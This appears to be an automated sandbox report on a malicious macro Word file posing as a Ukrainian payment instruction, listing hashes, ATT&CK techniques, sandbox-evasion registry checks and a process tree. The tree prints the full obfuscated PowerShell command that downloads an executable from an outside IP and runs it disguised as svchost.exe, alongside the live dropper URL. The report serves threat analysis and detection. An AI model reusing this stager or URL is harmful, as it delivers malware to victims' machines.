7be9ef61632edc0f2fc6ad59d64ad69dbffbd05013a80ab1dfbb6bd8a6090b66

General

Target

Платіжна інструкція № 472.rtf.docm
Size

106KB
MD5

0bd1328012301d04bdc921acb321b820
SHA1

724612a3c88f187aa000efe4ff4e9e04c9553696
SHA256

7be9ef61632edc0f2fc6ad59d64ad69dbffbd05013a80ab1dfbb6bd8a6090b66
SHA512

d588760ba4fb450a41563849ec10da311ef317c80da1e816b5d88198aef35379fd15f63512620fa7514f7d46f719afc07bce5fff7690ae6336e5a7d747e7d22f
SSDEEP

1536:FCuLaHmmF7tG8Q/qk8fowr/5mUpKNEteuEC5/ThAoLCAJZSfx6BrqbyGfh:hLIt7tD/rRmCK6guEC5/ThAQSfxSuGQ

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://45.84.0.173/download_22/server.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	436	1448	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

35 1920 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

svchost.exe

pid process

1176 svchost.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1972 1176 WerFault.exe svchost.exe

flow	pid	process
35	1920	powershell.exe

pid	process
1176	svchost.exe

pid	pid_target	process	target process
1972	1176	WerFault.exe	svchost.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svchost.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1260 timeout.exe

pid	process
1260	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1448 WINWORD.EXE
1448 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4840 powershell.exe
4840 powershell.exe
4840 powershell.exe
1920 powershell.exe
1920 powershell.exe
1920 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4840 powershell.exe
Token: SeDebugPrivilege 1920 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1448 WINWORD.EXE
1448 WINWORD.EXE
1448 WINWORD.EXE
1448 WINWORD.EXE
1448 WINWORD.EXE
1448 WINWORD.EXE
1448 WINWORD.EXE

pid	process
1448	WINWORD.EXE
1448	WINWORD.EXE

pid	process
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe

pid	process
1448	WINWORD.EXE
1448	WINWORD.EXE
1448	WINWORD.EXE
1448	WINWORD.EXE
1448	WINWORD.EXE
1448	WINWORD.EXE
1448	WINWORD.EXE

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1448 wrote to memory of 436	1448	WINWORD.EXE	cmd.exe
PID 1448 wrote to memory of 436	1448	WINWORD.EXE	cmd.exe
PID 436 wrote to memory of 1260	436	cmd.exe	timeout.exe
PID 436 wrote to memory of 1260	436	cmd.exe	timeout.exe
PID 436 wrote to memory of 4840	436	cmd.exe	powershell.exe
PID 436 wrote to memory of 4840	436	cmd.exe	powershell.exe
PID 4840 wrote to memory of 1920	4840	powershell.exe	powershell.exe
PID 4840 wrote to memory of 1920	4840	powershell.exe	powershell.exe
PID 1920 wrote to memory of 1176	1920	powershell.exe	svchost.exe
PID 1920 wrote to memory of 1176	1920	powershell.exe	svchost.exe
PID 1920 wrote to memory of 1176	1920	powershell.exe	svchost.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Платіжна інструкція № 472.rtf.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADQALgAwAC4AMQA3ADMALwBkAG8AdwBuAGwAbwBhAGQAXwAyADIALwBzAGUAcgB2AGUAcgAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiADsAIAAkAFcAZQBiAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAIAAkAFAAdABoACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAUAB0AGgAOwA=
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1920
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        
        PID:1176
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1176 -s 368
        6⤵
        Program crash
        
        PID:1972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1176 -ip 1176
1⤵
PID:4336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD767C.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mh5arlx4.zza.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchost.exe

Filesize
180KB

MD5
92c57dd80b764a028749520017d44e76

SHA1
f732220adaacf23de6cc69d964341766d2e350d9

SHA256
dbd741a45d840d06d708339f9e9824f2a0d745ea6537ca44bff233ba7441bfda

SHA512
dd7d363fef5750a256abc2ae43d17f8e4788d392afaa74a2085f34da05efeb12373f38fbf480e1c86eb2759c667c971c7c54512f5d59ee61f5a0a4341ac406c8

Download Submit
memory/1176-67-0x0000000000400000-0x0000000002349000-memory.dmp

Filesize
31.3MB

Download
memory/1448-12-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-415-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-11-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-0-0x00007FF970470000-0x00007FF970480000-memory.dmp

Filesize
64KB

Download
memory/1448-10-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-9-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-13-0x00007FF96E3B0000-0x00007FF96E3C0000-memory.dmp

Filesize
64KB

Download
memory/1448-8-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-14-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-15-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-16-0x00007FF96E3B0000-0x00007FF96E3C0000-memory.dmp

Filesize
64KB

Download
memory/1448-17-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-18-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-32-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-31-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-580-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-7-0x00007FF970470000-0x00007FF970480000-memory.dmp

Filesize
64KB

Download
memory/1448-4-0x00007FF970470000-0x00007FF970480000-memory.dmp

Filesize
64KB

Download
memory/1448-6-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-5-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-1-0x00007FF970470000-0x00007FF970480000-memory.dmp

Filesize
64KB

Download
memory/1448-2-0x00007FF970470000-0x00007FF970480000-memory.dmp

Filesize
64KB

Download
memory/1448-3-0x00007FF9B048D000-0x00007FF9B048E000-memory.dmp

Filesize
4KB

Download
memory/1448-551-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-552-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-553-0x00007FF9B03F0000-0x00007FF9B05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1448-576-0x00007FF970470000-0x00007FF970480000-memory.dmp

Filesize
64KB

Download
memory/1448-578-0x00007FF970470000-0x00007FF970480000-memory.dmp

Filesize
64KB

Download
memory/1448-579-0x00007FF970470000-0x00007FF970480000-memory.dmp

Filesize
64KB

Download
memory/1448-577-0x00007FF970470000-0x00007FF970480000-memory.dmp

Filesize
64KB

Download
memory/4840-41-0x00000273FE700000-0x00000273FE722000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads